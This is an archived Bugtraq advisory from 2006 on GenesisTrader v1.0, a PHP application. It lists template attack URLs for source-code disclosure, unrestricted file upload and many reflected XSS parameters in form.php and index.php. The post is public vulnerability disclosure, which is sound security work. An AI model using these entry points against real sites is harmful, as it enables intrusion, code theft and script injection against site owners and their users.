bugtraq
[Top] [All Lists]
<prev [Date] next>
[Advanced]
 <prev [Thread] next>

GenesisTrader v1.0 - Multiple Vulnerabilities

from [mr_kaliman] [Permanent Link][Original]
To: bugtraq@securityfocus.com
Subject: GenesisTrader v1.0 - Multiple Vulnerabilities
From: mr_kaliman@msn.com
Date: 14 Dec 2006 02:32:08 -0000
Delivered-to: sp-com-lists@consult.net
Delivered-to: bugtraq-list@securepoint.com
Delivered-to: mailing list bugtraq@securityfocus.com
Delivered-to: moderator for bugtraq@securityfocus.com
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@securityfocus.com; run by ezmlm 
GenesisTrader v1.0
------------------
Vendor site: http://www.genesis-php.com/
Product: GenesisTrader v1.0
Vulnerability: Source Code Disclosure, Arbitrary File Upload & XSS
Credits: Mr_KaLiMaN
Reported to Vendor: 06/12/06
Public disclosure: 14/12/06
 
Description:
------------

Source Code Disclosure:(No need to be registered)
http://[victim]/[path]/form.php?floap=modfich&do=[FILE]
http://[victim]/[path]/form.php?floap=modfich&chem=[FILE]

Arbitrary File Upload:(NEED to be registered)
http://[victim]/[path]/form.php?floap=ajoutfich
form.php -> upload.php (all type and extensions allowed)



XSS:(No need to be registered)
http://[victim]/[path]/index.php?cuve=[XSS]
http://[victim]/[path]/form.php?floap=ajoutfich&cuve=[XSS]
http://[victim]/[path]/form.php?floap=modfich&chem=[XSS]
http://[victim]/[path]/form.php?floap=modfich&do=[XSS]
http://[victim]/[path]/form.php?floap=rename&chem=[XSS]
http://[victim]/[path]/form.php?floap=rename&do=[XSS]
http://[victim]/[path]/form.php?floap=copy&chem=[XSS]
http://[victim]/[path]/form.php?floap=copy&do=[XSS]
http://[victim]/[path]/form.php?floap=chmod&chem=[XSS]
http://[victim]/[path]/form.php?floap=chmod&do=[XSS]
etc... in form.php?floap=...
[More with this subject...]
<Prev in Thread] Current Thread [Next in Thread>
  • GenesisTrader v1.0 - Multiple Vulnerabilities, mr_kaliman <=
Previous by Date:  The (in)security of Xorg and DRI, Darren Reed
Next by Date:  HyperAccess - Multiple Vulnerabilities, Brett Moore
Previous by Thread:  The (in)security of Xorg and DRI, Darren Reed
Next by Thread:  HyperAccess - Multiple Vulnerabilities, Brett Moore
Indexes:  [Date] [Thread] [Top] [All Lists]